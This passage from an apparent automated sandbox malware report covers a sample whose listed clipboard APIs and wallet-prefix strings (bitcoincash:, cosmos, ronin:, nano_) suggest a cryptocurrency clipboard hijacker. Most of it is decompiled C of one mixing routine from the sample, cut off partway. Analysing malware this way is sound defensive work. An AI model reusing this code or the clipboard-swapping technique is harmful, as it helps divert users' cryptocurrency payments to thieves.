                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockisalphaisdigitmemcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID: 0$addr$addr$band$bc1$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$nano_$nano_$ronin:$ronin:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2780752356-3277899813
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8b1be9af177d691ab577152354c7cdb098d593811f445ddc229f676aed80e91e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c55c30b4a365d18306c969739fecf210e2bdc643da380e1384109d4faa0990be
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8b1be9af177d691ab577152354c7cdb098d593811f445ddc229f676aed80e91e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 89522870A00208AACF248F51C0945BE7FBABF42752F60C46BE8456B390D7799FD1DB98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00406500 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037COMMONCrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00406500(intOrPtr _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _t1394;
				signed int _t1396;
				signed int _t1397;
				signed int _t1398;
				signed int _t1399;
				signed int _t1403;
				signed int _t1413;
				intOrPtr _t1414;
				signed int _t1424;
				intOrPtr _t1425;
				signed int _t1435;
				intOrPtr _t1436;
				signed int _t1446;
				intOrPtr _t1447;
				signed int _t1457;
				intOrPtr _t1458;
				signed int _t1468;
				intOrPtr _t1469;
				signed int _t1479;
				intOrPtr _t1480;
				signed int _t1490;
				intOrPtr _t1491;
				signed int _t1501;
				intOrPtr _t1502;
				signed int _t1512;
				intOrPtr _t1513;
				signed int _t1523;
				intOrPtr _t1524;
				signed int _t1534;
				intOrPtr _t1535;
				signed int _t1545;
				intOrPtr _t1546;
				signed int _t1556;
				intOrPtr _t1557;
				signed int _t1567;
				intOrPtr _t1568;
				signed int _t1577;
				intOrPtr _t1579;
				intOrPtr _t1580;
				intOrPtr _t1581;
				signed int _t1582;
				signed int _t1588;
				signed int _t1589;
				signed int _t1590;
				signed int _t1591;
				signed int _t1595;
				signed int _t1598;
				signed int _t1599;
				signed int _t1600;
				signed int _t1601;
				signed int _t1605;
				signed int _t1608;
				signed int _t1609;
				signed int _t1610;
				signed int _t1611;
				signed int _t1615;
				signed int _t1618;
				signed int _t1619;
				signed int _t1620;
				signed int _t1621;
				signed int _t1625;
				signed int _t1628;
				signed int _t1629;
				signed int _t1630;
				signed int _t1631;
				signed int _t1635;
				signed int _t1638;
				signed int _t1639;
				signed int _t1640;
				signed int _t1641;
				signed int _t1645;
				signed int _t1648;
				signed int _t1649;
				signed int _t1650;
				signed int _t1651;
				signed int _t1655;
				signed int _t1658;
				signed int _t1659;
				signed int _t1660;
				signed int _t1661;
				signed int _t1665;
				signed int _t1668;
				signed int _t1669;
				signed int _t1670;
				signed int _t1671;
				signed int _t1675;
				signed int _t1678;
				signed int _t1679;
				signed int _t1680;
				signed int _t1681;
				signed int _t1685;
				signed int _t1688;
				signed int _t1689;
				signed int _t1690;
				signed int _t1691;
				signed int _t1695;
				signed int _t1698;
				signed int _t1699;
				signed int _t1700;
				signed int _t1701;
				signed int _t1705;
				signed int _t1708;
				signed int _t1709;
				signed int _t1710;
				signed int _t1711;
				signed int _t1715;
				signed int _t1718;
				signed int _t1719;
				signed int _t1720;
				signed int _t1721;
				signed int _t1725;
				signed int _t1728;
				signed int _t1729;
				signed int _t1730;
				signed int _t1731;
				signed int _t1735;
				signed int _t1738;
				signed int _t1748;
				intOrPtr _t1749;
				intOrPtr _t1755;
				intOrPtr _t1756;
				intOrPtr _t1757;
				signed int _t1758;
				intOrPtr _t1767;
				intOrPtr _t1768;
				intOrPtr _t1769;
				signed int _t1770;
				intOrPtr _t1779;
				intOrPtr _t1780;
				intOrPtr _t1781;
				signed int _t1782;
				intOrPtr _t1791;
				intOrPtr _t1792;
				intOrPtr _t1793;
				signed int _t1794;
				intOrPtr _t1803;
				intOrPtr _t1804;
				intOrPtr _t1805;
				signed int _t1806;
				intOrPtr _t1815;
				intOrPtr _t1816;
				intOrPtr _t1817;
				signed int _t1818;
				intOrPtr _t1827;
				intOrPtr _t1828;
				intOrPtr _t1829;
				signed int _t1830;
				intOrPtr _t1839;
				intOrPtr _t1840;
				intOrPtr _t1841;
				signed int _t1842;
				intOrPtr _t1851;
				intOrPtr _t1852;
				intOrPtr _t1853;
				signed int _t1854;
				intOrPtr _t1863;
				intOrPtr _t1864;
				intOrPtr _t1865;
				signed int _t1866;
				intOrPtr _t1875;
				intOrPtr _t1876;
				intOrPtr _t1877;
				signed int _t1878;
				intOrPtr _t1887;
				intOrPtr _t1888;
				intOrPtr _t1889;
				signed int _t1890;
				intOrPtr _t1899;
				intOrPtr _t1900;
				intOrPtr _t1901;
				signed int _t1902;
				intOrPtr _t1911;
				intOrPtr _t1912;
				intOrPtr _t1913;
				signed int _t1914;
				intOrPtr _t1923;
				intOrPtr _t1924;
				intOrPtr _t1925;
				signed int _t1926;
				intOrPtr _t2043;
				intOrPtr _t2044;
				intOrPtr _t2045;
				intOrPtr _t2050;
				intOrPtr _t2051;
				intOrPtr _t2052;
				intOrPtr _t2057;
				intOrPtr _t2058;
				intOrPtr _t2059;
				intOrPtr _t2064;
				intOrPtr _t2065;
				intOrPtr _t2066;
				intOrPtr _t2071;
				intOrPtr _t2072;
				intOrPtr _t2073;
				intOrPtr _t2078;
				intOrPtr _t2079;
				intOrPtr _t2080;
				intOrPtr _t2085;
				intOrPtr _t2086;
				intOrPtr _t2087;
				intOrPtr _t2092;
				intOrPtr _t2093;
				intOrPtr _t2094;
				intOrPtr _t2099;
				intOrPtr _t2100;
				intOrPtr _t2101;
				intOrPtr _t2106;
				intOrPtr _t2107;
				intOrPtr _t2108;
				intOrPtr _t2113;
				intOrPtr _t2114;
				intOrPtr _t2115;
				intOrPtr _t2120;
				intOrPtr _t2121;
				intOrPtr _t2122;
				intOrPtr _t2127;
				intOrPtr _t2128;
				intOrPtr _t2129;
				intOrPtr _t2134;
				intOrPtr _t2135;
				intOrPtr _t2136;
				intOrPtr _t2141;
				intOrPtr _t2142;
				intOrPtr _t2143;
				intOrPtr _t2148;
				intOrPtr _t2149;
				intOrPtr _t2150;

				_t1394 =  *0x4110f0; // 0x89abcdef
				_v28 = _t1394;
				_t1577 =  *0x4110f4; // 0x1234567
				_v24 = _t1577;
				_v32 = 0;
				_v16 = 0x59;
				while(1) {
					_t1396 = _a8 << 4;
					if(_v32 >= _t1396) {
						break;
					}
					_v12 = _v28;
					_v8 = _v24;
					_t1397 = _v16;
					_t1579 = _a4;
					_v12 = _v12 ^  *(_t1579 + _t1397 * 8 - 0x2c8);
					_v8 = _v8 ^  *(_t1579 + _t1397 * 8 - 0x2c4);
					_t1398 = _v16;
					_t1580 = _a4;
					_v12 = _v12 ^  *(_t1580 + _t1398 * 8 - 0x88);
					_v8 = _v8 ^  *(_t1580 + _t1398 * 8 - 0x84);
					_t1399 = _v16;
					_t1581 = _a4;
					_t1748 = _v16;
					_t2043 = _a4;
					_v12 =  *(_t1581 + _t1399 * 8 - 0x90) &  *(_t2043 + _t1748 * 8 - 0xa8) ^ _v12;
					_v8 =  *(_t1581 + _t1399 * 8 - 0x8c) &  *(_t2043 + _t1748 * 8 - 0xa4) ^ _v8;
					_t1582 = _v16;
					_t1749 = _a4;
					_t1403 = _v16;
					_t2044 = _a4;
					_v12 =  *(_t1749 + _t1582 * 8 - 0xf8) &  *(_t2044 + _t1403 * 8 - 0x218) ^ _v12;
					_v8 =  *(_t1749 + _t1582 * 8 - 0xf4) &  *(_t2044 + _t1403 * 8 - 0x214) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1588 = _v16;
					_t2045 = _a4;
					 *(_t2045 + _t1588 * 8) = _v12 ^ _v12;
					 *(_t2045 + 4 + _t1588 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1589 = _v16;
					_t1755 = _a4;
					_v12 = _v12 ^  *(_t1755 + _t1589 * 8 - 0x2c0);
					_v8 = _v8 ^  *(_t1755 + _t1589 * 8 - 0x2bc);
					_t1590 = _v16;
					_t1756 = _a4;
					_v12 = _v12 ^  *(_t1756 + _t1590 * 8 - 0x80);
					_v8 = _v8 ^  *(_t1756 + _t1590 * 8 - 0x7c);
					_t1591 = _v16;
					_t1757 = _a4;
					_t1413 = _v16;
					_t2050 = _a4;
					_v12 =  *(_t1757 + _t1591 * 8 - 0x88) &  *(_t2050 + _t1413 * 8 - 0xa0) ^ _v12;
					_v8 =  *(_t1757 + _t1591 * 8 - 0x84) &  *(_t2050 + _t1413 * 8 - 0x9c) ^ _v8;
					_t1758 = _v16;
					_t1414 = _a4;
					_t1595 = _v16;
					_t2051 = _a4;
					_v12 =  *(_t1414 + _t1758 * 8 - 0xf0) &  *(_t2051 + _t1595 * 8 - 0x210) ^ _v12;
					_v8 =  *(_t1414 + _t1758 * 8 - 0xec) &  *(_t2051 + _t1595 * 8 - 0x20c) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1598 = _v16;
					_t2052 = _a4;
					 *(_t2052 + 8 + _t1598 * 8) = _v12 ^ _v12;
					 *(_t2052 + 0xc + _t1598 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1599 = _v16;
					_t1767 = _a4;
					_v12 = _v12 ^  *(_t1767 + _t1599 * 8 - 0x2b8);
					_v8 = _v8 ^  *(_t1767 + _t1599 * 8 - 0x2b4);
					_t1600 = _v16;
					_t1768 = _a4;
					_v12 = _v12 ^  *(_t1768 + _t1600 * 8 - 0x78);
					_v8 = _v8 ^  *(_t1768 + _t1600 * 8 - 0x74);
					_t1601 = _v16;
					_t1769 = _a4;
					_t1424 = _v16;
					_t2057 = _a4;
					_v12 =  *(_t1769 + _t1601 * 8 - 0x80) &  *(_t2057 + _t1424 * 8 - 0x98) ^ _v12;
					_v8 =  *(_t1769 + _t1601 * 8 - 0x7c) &  *(_t2057 + _t1424 * 8 - 0x94) ^ _v8;
					_t1770 = _v16;
					_t1425 = _a4;
					_t1605 = _v16;
					_t2058 = _a4;
					_v12 =  *(_t1425 + _t1770 * 8 - 0xe8) &  *(_t2058 + _t1605 * 8 - 0x208) ^ _v12;
					_v8 =  *(_t1425 + _t1770 * 8 - 0xe4) &  *(_t2058 + _t1605 * 8 - 0x204) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1608 = _v16;
					_t2059 = _a4;
					 *(_t2059 + 0x10 + _t1608 * 8) = _v12 ^ _v12;
					 *(_t2059 + 0x14 + _t1608 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1609 = _v16;
					_t1779 = _a4;
					_v12 = _v12 ^  *(_t1779 + _t1609 * 8 - 0x2b0);
					_v8 = _v8 ^  *(_t1779 + _t1609 * 8 - 0x2ac);
					_t1610 = _v16;
					_t1780 = _a4;
					_v12 = _v12 ^  *(_t1780 + _t1610 * 8 - 0x70);
					_v8 = _v8 ^  *(_t1780 + _t1610 * 8 - 0x6c);
					_t1611 = _v16;
					_t1781 = _a4;
					_t1435 = _v16;
					_t2064 = _a4;
					_v12 =  *(_t1781 + _t1611 * 8 - 0x78) &  *(_t2064 + _t1435 * 8 - 0x90) ^ _v12;
					_v8 =  *(_t1781 + _t1611 * 8 - 0x74) &  *(_t2064 + _t1435 * 8 - 0x8c) ^ _v8;
					_t1782 = _v16;
					_t1436 = _a4;
					_t1615 = _v16;
					_t2065 = _a4;
					_v12 =  *(_t1436 + _t1782 * 8 - 0xe0) &  *(_t2065 + _t1615 * 8 - 0x200) ^ _v12;
					_v8 =  *(_t1436 + _t1782 * 8 - 0xdc) &  *(_t2065 + _t1615 * 8 - 0x1fc) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1618 = _v16;
					_t2066 = _a4;
					 *(_t2066 + 0x18 + _t1618 * 8) = _v12 ^ _v12;
					 *(_t2066 + 0x1c + _t1618 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1619 = _v16;
					_t1791 = _a4;
					_v12 = _v12 ^  *(_t1791 + _t1619 * 8 - 0x2a8);
					_v8 = _v8 ^  *(_t1791 + _t1619 * 8 - 0x2a4);
					_t1620 = _v16;
					_t1792 = _a4;
					_v12 = _v12 ^  *(_t1792 + _t1620 * 8 - 0x68);
					_v8 = _v8 ^  *(_t1792 + _t1620 * 8 - 0x64);
					_t1621 = _v16;
					_t1793 = _a4;
					_t1446 = _v16;
					_t2071 = _a4;
					_v12 =  *(_t1793 + _t1621 * 8 - 0x70) &  *(_t2071 + _t1446 * 8 - 0x88) ^ _v12;
					_v8 =  *(_t1793 + _t1621 * 8 - 0x6c) &  *(_t2071 + _t1446 * 8 - 0x84) ^ _v8;
					_t1794 = _v16;
					_t1447 = _a4;
					_t1625 = _v16;
					_t2072 = _a4;
					_v12 =  *(_t1447 + _t1794 * 8 - 0xd8) &  *(_t2072 + _t1625 * 8 - 0x1f8) ^ _v12;
					_v8 =  *(_t1447 + _t1794 * 8 - 0xd4) &  *(_t2072 + _t1625 * 8 - 0x1f4) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1628 = _v16;
					_t2073 = _a4;
					 *(_t2073 + 0x20 + _t1628 * 8) = _v12 ^ _v12;
					 *(_t2073 + 0x24 + _t1628 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1629 = _v16;
					_t1803 = _a4;
					_v12 = _v12 ^  *(_t1803 + _t1629 * 8 - 0x2a0);
					_v8 = _v8 ^  *(_t1803 + _t1629 * 8 - 0x29c);
					_t1630 = _v16;
					_t1804 = _a4;
					_v12 = _v12 ^  *(_t1804 + _t1630 * 8 - 0x60);
					_v8 = _v8 ^  *(_t1804 + _t1630 * 8 - 0x5c);
					_t1631 = _v16;
					_t1805 = _a4;
					_t1457 = _v16;
					_t2078 = _a4;
					_v12 =  *(_t1805 + _t1631 * 8 - 0x68) &  *(_t2078 + _t1457 * 8 - 0x80) ^ _v12;
					_v8 =  *(_t1805 + _t1631 * 8 - 0x64) &  *(_t2078 + _t1457 * 8 - 0x7c) ^ _v8;
					_t1806 = _v16;
					_t1458 = _a4;
					_t1635 = _v16;
					_t2079 = _a4;
					_v12 =  *(_t1458 + _t1806 * 8 - 0xd0) &  *(_t2079 + _t1635 * 8 - 0x1f0) ^ _v12;
					_v8 =  *(_t1458 + _t1806 * 8 - 0xcc) &  *(_t2079 + _t1635 * 8 - 0x1ec) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1638 = _v16;
					_t2080 = _a4;
					 *(_t2080 + 0x28 + _t1638 * 8) = _v12 ^ _v12;
					 *(_t2080 + 0x2c + _t1638 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1639 = _v16;
					_t1815 = _a4;
					_v12 = _v12 ^  *(_t1815 + _t1639 * 8 - 0x298);
					_v8 = _v8 ^  *(_t1815 + _t1639 * 8 - 0x294);
					_t1640 = _v16;
					_t1816 = _a4;
					_v12 = _v12 ^  *(_t1816 + _t1640 * 8 - 0x58);
					_v8 = _v8 ^  *(_t1816 + _t1640 * 8 - 0x54);
					_t1641 = _v16;
					_t1817 = _a4;
					_t1468 = _v16;
					_t2085 = _a4;
					_v12 =  *(_t1817 + _t1641 * 8 - 0x60) &  *(_t2085 + _t1468 * 8 - 0x78) ^ _v12;
					_v8 =  *(_t1817 + _t1641 * 8 - 0x5c) &  *(_t2085 + _t1468 * 8 - 0x74) ^ _v8;
					_t1818 = _v16;
					_t1469 = _a4;
					_t1645 = _v16;
					_t2086 = _a4;
					_v12 =  *(_t1469 + _t1818 * 8 - 0xc8) &  *(_t2086 + _t1645 * 8 - 0x1e8) ^ _v12;
					_v8 =  *(_t1469 + _t1818 * 8 - 0xc4) &  *(_t2086 + _t1645 * 8 - 0x1e4) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1648 = _v16;
					_t2087 = _a4;
					 *(_t2087 + 0x30 + _t1648 * 8) = _v12 ^ _v12;
					 *(_t2087 + 0x34 + _t1648 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1649 = _v16;
					_t1827 = _a4;
					_v12 = _v12 ^  *(_t1827 + _t1649 * 8 - 0x290);
					_v8 = _v8 ^  *(_t1827 + _t1649 * 8 - 0x28c);
					_t1650 = _v16;
					_t1828 = _a4;
					_v12 = _v12 ^  *(_t1828 + _t1650 * 8 - 0x50);
					_v8 = _v8 ^  *(_t1828 + _t1650 * 8 - 0x4c);
					_t1651 = _v16;
					_t1829 = _a4;
					_t1479 = _v16;
					_t2092 = _a4;
					_v12 =  *(_t1829 + _t1651 * 8 - 0x58) &  *(_t2092 + _t1479 * 8 - 0x70) ^ _v12;
					_v8 =  *(_t1829 + _t1651 * 8 - 0x54) &  *(_t2092 + _t1479 * 8 - 0x6c) ^ _v8;
					_t1830 = _v16;
					_t1480 = _a4;
					_t1655 = _v16;
					_t2093 = _a4;
					_v12 =  *(_t1480 + _t1830 * 8 - 0xc0) &  *(_t2093 + _t1655 * 8 - 0x1e0) ^ _v12;
					_v8 =  *(_t1480 + _t1830 * 8 - 0xbc) &  *(_t2093 + _t1655 * 8 - 0x1dc) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1658 = _v16;
					_t2094 = _a4;
					 *(_t2094 + 0x38 + _t1658 * 8) = _v12 ^ _v12;
					 *(_t2094 + 0x3c + _t1658 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1659 = _v16;
					_t1839 = _a4;
					_v12 = _v12 ^  *(_t1839 + _t1659 * 8 - 0x288);
					_v8 = _v8 ^  *(_t1839 + _t1659 * 8 - 0x284);
					_t1660 = _v16;
					_t1840 = _a4;
					_v12 = _v12 ^  *(_t1840 + _t1660 * 8 - 0x48);
					_v8 = _v8 ^  *(_t1840 + _t1660 * 8 - 0x44);
					_t1661 = _v16;
					_t1841 = _a4;
					_t1490 = _v16;
					_t2099 = _a4;
					_v12 =  *(_t1841 + _t1661 * 8 - 0x50) &  *(_t2099 + _t1490 * 8 - 0x68) ^ _v12;
					_v8 =  *(_t1841 + _t1661 * 8 - 0x4c) &  *(_t2099 + _t1490 * 8 - 0x64) ^ _v8;
					_t1842 = _v16;
					_t1491 = _a4;
					_t1665 = _v16;
					_t2100 = _a4;
					_v12 =  *(_t1491 + _t1842 * 8 - 0xb8) &  *(_t2100 + _t1665 * 8 - 0x1d8) ^ _v12;
					_v8 =  *(_t1491 + _t1842 * 8 - 0xb4) &  *(_t2100 + _t1665 * 8 - 0x1d4) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1668 = _v16;
					_t2101 = _a4;
					 *(_t2101 + 0x40 + _t1668 * 8) = _v12 ^ _v12;
					 *(_t2101 + 0x44 + _t1668 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1669 = _v16;
					_t1851 = _a4;
					_v12 = _v12 ^  *(_t1851 + _t1669 * 8 - 0x280);
					_v8 = _v8 ^  *(_t1851 + _t1669 * 8 - 0x27c);
					_t1670 = _v16;
					_t1852 = _a4;
					_v12 = _v12 ^  *(_t1852 + _t1670 * 8 - 0x40);
					_v8 = _v8 ^  *(_t1852 + _t1670 * 8 - 0x3c);
					_t1671 = _v16;
					_t1853 = _a4;
					_t1501 = _v16;
					_t2106 = _a4;
					_v12 =  *(_t1853 + _t1671 * 8 - 0x48) &  *(_t2106 + _t1501 * 8 - 0x60) ^ _v12;
					_v8 =  *(_t1853 + _t1671 * 8 - 0x44) &  *(_t2106 + _t1501 * 8 - 0x5c) ^ _v8;
					_t1854 = _v16;
					_t1502 = _a4;
					_t1675 = _v16;
					_t2107 = _a4;
					_v12 =  *(_t1502 + _t1854 * 8 - 0xb0) &  *(_t2107 + _t1675 * 8 - 0x1d0) ^ _v12;
					_v8 =  *(_t1502 + _t1854 * 8 - 0xac) &  *(_t2107 + _t1675 * 8 - 0x1cc) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1678 = _v16;
					_t2108 = _a4;
					 *(_t2108 + 0x48 + _t1678 * 8) = _v12 ^ _v12;
					 *(_t2108 + 0x4c + _t1678 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1679 = _v16;
					_t1863 = _a4;
					_v12 = _v12 ^  *(_t1863 + _t1679 * 8 - 0x278);
					_v8 = _v8 ^  *(_t1863 + _t1679 * 8 - 0x274);
					_t1680 = _v16;
					_t1864 = _a4;
					_v12 = _v12 ^  *(_t1864 + _t1680 * 8 - 0x38);
					_v8 = _v8 ^  *(_t1864 + _t1680 * 8 - 0x34);
					_t1681 = _v16;
					_t1865 = _a4;
					_t1512 = _v16;
					_t2113 = _a4;
					_v12 =  *(_t1865 + _t1681 * 8 - 0x40) &  *(_t2113 + _t1512 * 8 - 0x58) ^ _v12;
					_v8 =  *(_t1865 + _t1681 * 8 - 0x3c) &  *(_t2113 + _t1512 * 8 - 0x54) ^ _v8;
					_t1866 = _v16;
					_t1513 = _a4;
					_t1685 = _v16;
					_t2114 = _a4;
					_v12 =  *(_t1513 + _t1866 * 8 - 0xa8) &  *(_t2114 + _t1685 * 8 - 0x1c8) ^ _v12;
					_v8 =  *(_t1513 + _t1866 * 8 - 0xa4) &  *(_t2114 + _t1685 * 8 - 0x1c4) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1688 = _v16;
					_t2115 = _a4;
					 *(_t2115 + 0x50 + _t1688 * 8) = _v12 ^ _v12;
					 *(_t2115 + 0x54 + _t1688 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1689 = _v16;
					_t1875 = _a4;
					_v12 = _v12 ^  *(_t1875 + _t1689 * 8 - 0x270);
					_v8 = _v8 ^  *(_t1875 + _t1689 * 8 - 0x26c);
					_t1690 = _v16;
					_t1876 = _a4;
					_v12 = _v12 ^  *(_t1876 + _t1690 * 8 - 0x30);
					_v8 = _v8 ^  *(_t1876 + _t1690 * 8 - 0x2c);
					_t1691 = _v16;
					_t1877 = _a4;
					_t1523 = _v16;
					_t2120 = _a4;
					_v12 =  *(_t1877 + _t1691 * 8 - 0x38) &  *(_t2120 + _t1523 * 8 - 0x50) ^ _v12;
					_v8 =  *(_t1877 + _t1691 * 8 - 0x34) &  *(_t2120 + _t1523 * 8 - 0x4c) ^ _v8;
					_t1878 = _v16;
					_t1524 = _a4;
					_t1695 = _v16;
					_t2121 = _a4;
					_v12 =  *(_t1524 + _t1878 * 8 - 0xa0) &  *(_t2121 + _t1695 * 8 - 0x1c0) ^ _v12;
					_v8 =  *(_t1524 + _t1878 * 8 - 0x9c) &  *(_t2121 + _t1695 * 8 - 0x1bc) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1698 = _v16;
					_t2122 = _a4;
					 *(_t2122 + 0x58 + _t1698 * 8) = _v12 ^ _v12;
					 *(_t2122 + 0x5c + _t1698 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1699 = _v16;
					_t1887 = _a4;
					_v12 = _v12 ^  *(_t1887 + _t1699 * 8 - 0x268);
					_v8 = _v8 ^  *(_t1887 + _t1699 * 8 - 0x264);
					_t1700 = _v16;
					_t1888 = _a4;
					_v12 = _v12 ^  *(_t1888 + _t1700 * 8 - 0x28);
					_v8 = _v8 ^  *(_t1888 + _t1700 * 8 - 0x24);
					_t1701 = _v16;
					_t1889 = _a4;
					_t1534 = _v16;
					_t2127 = _a4;
					_v12 =  *(_t1889 + _t1701 * 8 - 0x30) &  *(_t2127 + _t1534 * 8 - 0x48) ^ _v12;
					_v8 =  *(_t1889 + _t1701 * 8 - 0x2c) &  *(_t2127 + _t1534 * 8 - 0x44) ^ _v8;
					_t1890 = _v16;
					_t1535 = _a4;
					_t1705 = _v16;
					_t2128 = _a4;
					_v12 =  *(_t1535 + _t1890 * 8 - 0x98) &  *(_t2128 + _t1705 * 8 - 0x1b8) ^ _v12;
					_v8 =  *(_t1535 + _t1890 * 8 - 0x94) &  *(_t2128 + _t1705 * 8 - 0x1b4) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1708 = _v16;
					_t2129 = _a4;
					 *(_t2129 + 0x60 + _t1708 * 8) = _v12 ^ _v12;
					 *(_t2129 + 0x64 + _t1708 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1709 = _v16;
					_t1899 = _a4;
					_v12 = _v12 ^  *(_t1899 + _t1709 * 8 - 0x260);
					_v8 = _v8 ^  *(_t1899 + _t1709 * 8 - 0x25c);
					_t1710 = _v16;
					_t1900 = _a4;
					_v12 = _v12 ^  *(_t1900 + _t1710 * 8 - 0x20);
					_v8 = _v8 ^  *(_t1900 + _t1710 * 8 - 0x1c);
					_t1711 = _v16;
					_t1901 = _a4;
					_t1545 = _v16;
					_t2134 = _a4;
					_v12 =  *(_t1901 + _t1711 * 8 - 0x28) &  *(_t2134 + _t1545 * 8 - 0x40) ^ _v12;
					_v8 =  *(_t1901 + _t1711 * 8 - 0x24) &  *(_t2134 + _t1545 * 8 - 0x3c) ^ _v8;
					_t1902 = _v16;
					_t1546 = _a4;
					_t1715 = _v16;
					_t2135 = _a4;
					_v12 =  *(_t1546 + _t1902 * 8 - 0x90) &  *(_t2135 + _t1715 * 8 - 0x1b0) ^ _v12;
					_v8 =  *(_t1546 + _t1902 * 8 - 0x8c) &  *(_t2135 + _t1715 * 8 - 0x1ac) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1718 = _v16;
					_t2136 = _a4;
					 *(_t2136 + 0x68 + _t1718 * 8) = _v12 ^ _v12;
					 *(_t2136 + 0x6c + _t1718 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1719 = _v16;
					_t1911 = _a4;
					_v12 = _v12 ^  *(_t1911 + _t1719 * 8 - 0x258);
					_v8 = _v8 ^  *(_t1911 + _t1719 * 8 - 0x254);
					_t1720 = _v16;
					_t1912 = _a4;
					_v12 = _v12 ^  *(_t1912 + _t1720 * 8 - 0x18);
					_v8 = _v8 ^  *(_t1912 + _t1720 * 8 - 0x14);
					_t1721 = _v16;
					_t1913 = _a4;
					_t1556 = _v16;
					_t2141 = _a4;
					_v12 =  *(_t1913 + _t1721 * 8 - 0x20) &  *(_t2141 + _t1556 * 8 - 0x38) ^ _v12;
					_v8 =  *(_t1913 + _t1721 * 8 - 0x1c) &  *(_t2141 + _t1556 * 8 - 0x34) ^ _v8;
					_t1914 = _v16;
					_t1557 = _a4;
					_t1725 = _v16;
					_t2142 = _a4;
					_v12 =  *(_t1557 + _t1914 * 8 - 0x88) &  *(_t2142 + _t1725 * 8 - 0x1a8) ^ _v12;
					_v8 =  *(_t1557 + _t1914 * 8 - 0x84) &  *(_t2142 + _t1725 * 8 - 0x1a4) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1728 = _v16;
					_t2143 = _a4;
					 *(_t2143 + 0x70 + _t1728 * 8) = _v12 ^ _v12;
